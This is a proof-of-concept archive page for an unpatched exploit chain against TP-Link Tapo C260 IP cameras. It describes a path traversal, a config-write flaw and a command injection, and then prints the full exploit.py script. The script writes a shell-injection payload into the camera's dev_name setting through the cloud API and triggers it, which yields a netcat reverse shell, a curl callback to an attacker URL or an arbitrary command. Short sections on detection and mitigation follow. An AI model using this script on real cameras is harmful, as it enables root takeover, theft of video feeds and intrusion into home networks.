PoC Archive PoC Archive
Critical CVE-2026-0651 (chained with CVE-2026-0652, CVE-2026-0653) unpatched

TP-Link Tapo C260 Unauthenticated-to-Root RCE Chain — CVE-2026-0651

by l0lsec (chain implementation); vulnerability research by Eugene Lim / Spaceraccoon · 2026-07-05

Severity
Critical
CVE
CVE-2026-0651 (chained with CVE-2026-0652, CVE-2026-0653)
Category
network
Affected product
TP-Link Tapo C260 IP camera (pre-patch firmware, shared /bin/main omnibus binary across models)
Affected versions
Tapo C260 pre-patch firmware; potentially other Tapo models sharing the same binary
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researcherl0lsec (chain implementation); vulnerability research by Eugene Lim / Spaceraccoon
CVE / AdvisoryCVE-2026-0651 (chained with CVE-2026-0652, CVE-2026-0653)
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsiot, ip-camera, tp-link, tapo, path-traversal, command-injection, privilege-escalation, exploit-chain
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link Tapo C260 IP camera (pre-patch firmware, shared /bin/main omnibus binary across models)
Versions AffectedTapo C260 pre-patch firmware; potentially other Tapo models sharing the same binary
Language / PlatformPython 3.8+, targeting embedded Linux camera firmware over HTTP/cloud API
Authentication RequiredLocal-only (guest-level credentials sufficient for full chain)
Network Access RequiredYes (local network for LFD, or TP-Link cloud API with valid cloud auth token for full RCE)

Summary

This PoC chains three vulnerabilities in the TP-Link Tapo C260 camera to go from unauthenticated (or guest-level) access to root command execution. First, a path traversal flaw in the HTTP GET handler allows arbitrary local file disclosure. Second, a guest-level user can abuse JSON key manipulation in the cloud API to write attacker-controlled data into arbitrary configuration paths on the device, including the dev_name field. Third, the device’s set_region_code_handle reads that dev_name value and passes it unsanitized into a popen() call, so a poisoned dev_name containing shell metacharacters results in command injection when the region-code handler is triggered. The exploit.py script automates poisoning the config and triggering the handler to obtain a reverse shell or arbitrary command execution.


Vulnerability Details

Root Cause

Unsanitized user-controlled configuration value (dev_name) is interpolated directly into a popen() call inside the set_region_code_handle firmware routine, combined with a JSON key manipulation flaw that lets guest-level users write to that config path, and a separate path traversal bug in the GET handler for reconnaissance/file read.

Attack Vector

  1. Use the Local File Disclosure primitive (lfd.py) against /%2e%2e%2f-style path traversal to read device configuration and confirm target state.
  2. Send a crafted setLedStatus-style request that abuses JSON key manipulation to poison the tp_manage/info/dev_name config value with a shell metacharacter payload.
  3. Trigger the set_region_code cloud API call; the device handler reads the poisoned dev_name and passes it unsanitized to popen().
  4. Receive command execution results via callback or an established reverse shell.

Impact

Full unauthenticated-to-root remote code execution on the camera, allowing attackers to view/exfiltrate video feeds, pivot into the local network, or achieve persistent device compromise.


Environment / Lab Setup

Target:   TP-Link Tapo C260 IP camera (pre-patch firmware), reachable over local network and/or TP-Link IoT cloud
Attacker: Python 3.8+ with requests; valid TP-Link cloud auth token and device ID for the full cloud-based chain

Proof of Concept

PoC Script

See lfd.py and exploit.py in this folder.

1
2
3
4
5
6
7
8
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd

python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --lhost <YOUR_IP> \
  --lport 4444

lfd.py performs standalone local file disclosure via the path traversal bug. exploit.py runs the full kill chain — poisoning dev_name via the cloud API, triggering the region-code handler, and returning either a reverse shell, a one-shot callback ping, or output from an arbitrary custom command.


Detection & Indicators of Compromise

Signs of compromise:

  • Outbound reverse-shell connections or unexpected callback HTTP requests originating from camera IPs
  • Configuration values (dev_name) containing non-printable or shell-special characters
  • Unexpected process spawning (popen/sh -c) on camera firmware correlating with set_region_code calls

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor TP-Link security advisories for firmware updates addressing this chain
Interim mitigationRestrict camera access to trusted networks/VLANs, disable cloud remote access where not required, and monitor for firmware update availability from TP-Link

References


Notes

Mirrored from https://github.com/l0lsec/tapo-c260-rce on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#!/usr/bin/env python3
"""
Tapo C260 RCE Chain — CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653

Chains arbitrary config write + command injection via set_region_code_handle
to achieve guest-to-root RCE on TP-Link Tapo C260 cameras.

All vulnerability research by Eugene Lim (@spaceraccoon):
https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/
"""

import argparse
import sys
import time
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CLOUD_HEADERS = {
    "Content-Type": "application/json; charset=UTF-8",
    "App-Cid": "app:TP-Link_Tapo_Android:",
    "X-App-Name": "TP-Link_Tapo_Android",
    "X-App-Version": "3.13.818",
    "X-Ospf": "Android 15",
    "X-Net-Type": "wifi",
    "X-Strict": "0",
    "X-Locale": "en_US",
    "User-Agent": "TP-Link_Tapo_Android/3.13.818(sdk_gphone64_arm64/;Android 15)",
}


def build_poison_payload(injection: str) -> dict:
    """
    Abuses setLedStatus to write into tp_manage/info/dev_name.
    The device writes nested JSON keys directly into config paths
    without validating that the keys match the expected schema.
    """
    return {
        "inputParams": {
            "requestData": {
                "method": "multipleRequest",
                "params": {
                    "requests": [
                        {
                            "method": "setLedStatus",
                            "params": {
                                "tp_manage": {
                                    "info": {
                                        "dev_name": injection,
                                    },
                                    "factory_mode": {"enabled": "1"},
                                },
                            },
                        }
                    ]
                },
            }
        },
        "serviceId": "passthrough",
    }


def build_trigger_payload(region: str = "US") -> dict:
    """
    Triggers set_region_code_handle which reads dev_name from config
    and passes it unsanitized into popen() via get_oemid_by_region_and_device_name.
    """
    return {
        "inputParams": {
            "requestData": {
                "method": "multipleRequest",
                "params": {
                    "requests": [
                        {
                            "method": "testUsrDefAudio",
                            "params": {
                                "device_info": {
                                    "set_region_code": {"region": region}
                                }
                            },
                        }
                    ]
                },
            }
        },
        "serviceId": "passthrough",
    }


def cloud_request(cloud_host: str, device_id: str, token: str, payload: dict) -> requests.Response:
    url = f"https://{cloud_host}/v1/things/{device_id}/services-sync"
    headers = {**CLOUD_HEADERS, "Authorization": token}
    return requests.post(url, headers=headers, json=payload, verify=False, timeout=30)


def make_injection_string(args) -> str:
    if args.lhost and args.lport:
        return f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f;"
    elif args.callback:
        return f";curl {args.callback};"
    elif args.cmd:
        return f";{args.cmd};"
    else:
        print("[!] Provide --lhost/--lport, --callback, or --cmd", file=sys.stderr)
        sys.exit(1)


def poison(cloud_host: str, device_id: str, token: str, injection: str) -> bool:
    print(f"[*] Poisoning dev_name config with: {injection}")
    payload = build_poison_payload(injection)
    try:
        r = cloud_request(cloud_host, device_id, token, payload)
        print(f"[*] Poison response: {r.status_code}")
        if r.status_code == 200:
            print("[+] Config write successful")
            return True
        else:
            print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
            return False
    except requests.RequestException as e:
        print(f"[-] Poison request failed: {e}", file=sys.stderr)
        return False


def trigger(cloud_host: str, device_id: str, token: str) -> bool:
    print("[*] Triggering set_region_code_handle to execute payload via popen()...")
    payload = build_trigger_payload()
    try:
        r = cloud_request(cloud_host, device_id, token, payload)
        print(f"[*] Trigger response: {r.status_code}")
        if r.status_code == 200:
            print("[+] Trigger sent — check your listener")
            return True
        else:
            print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
            return False
    except requests.RequestException as e:
        print(f"[-] Trigger request failed: {e}", file=sys.stderr)
        return False


def restore(cloud_host: str, device_id: str, token: str, original_name: str = "Tapo C260"):
    """Best-effort restore of dev_name to avoid leaving the payload in config."""
    print(f"[*] Restoring dev_name to '{original_name}'...")
    payload = build_poison_payload(original_name)
    try:
        cloud_request(cloud_host, device_id, token, payload)
        print("[+] Config restored")
    except requests.RequestException:
        print("[!] Failed to restore config — manual cleanup may be needed", file=sys.stderr)


def main():
    banner = r"""
  _____ ___  ___  ___    ___ ___ __  ___
 |_   _/ _ \| _ \/ _ \  / __|_  )/ /|   \
   | || (_) |  _/ (_) || (__ / / _ \| |) |
   |_| \___/|_|  \___/  \___/___\___/___/
        RCE Chain — CVE-2026-0651/0652/0653
        Research: @spaceraccoon
    """
    print(banner)

    parser = argparse.ArgumentParser(
        description="Tapo C260 RCE chain — guest-to-root via config poisoning + command injection"
    )
    parser.add_argument("--cloud-host", required=True, help="TP-Link cloud API host")
    parser.add_argument("--device-id", required=True, help="Target device ID")
    parser.add_argument("--cloud-token", required=True, help="Cloud auth token (guest-level works)")

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--callback", help="HTTP callback URL (e.g. http://attacker.com/hit)")
    group.add_argument("--cmd", help="Arbitrary command to inject")
    group.add_argument("--lhost", help="Reverse shell listener IP")

    parser.add_argument("--lport", default="4444", help="Reverse shell listener port (default: 4444)")
    parser.add_argument("--no-restore", action="store_true", help="Skip restoring dev_name after exploitation")
    parser.add_argument("--delay", type=float, default=2.0, help="Seconds to wait between poison and trigger (default: 2)")

    args = parser.parse_args()

    injection = make_injection_string(args)

    if not poison(args.cloud_host, args.device_id, args.cloud_token, injection):
        sys.exit(1)

    print(f"[*] Waiting {args.delay}s for config to propagate...")
    time.sleep(args.delay)

    if not trigger(args.cloud_host, args.device_id, args.cloud_token):
        sys.exit(1)

    if not args.no_restore:
        time.sleep(1)
        restore(args.cloud_host, args.device_id, args.cloud_token)

    print("[*] Done. If using --lhost, check your nc listener.")


if __name__ == "__main__":
    main()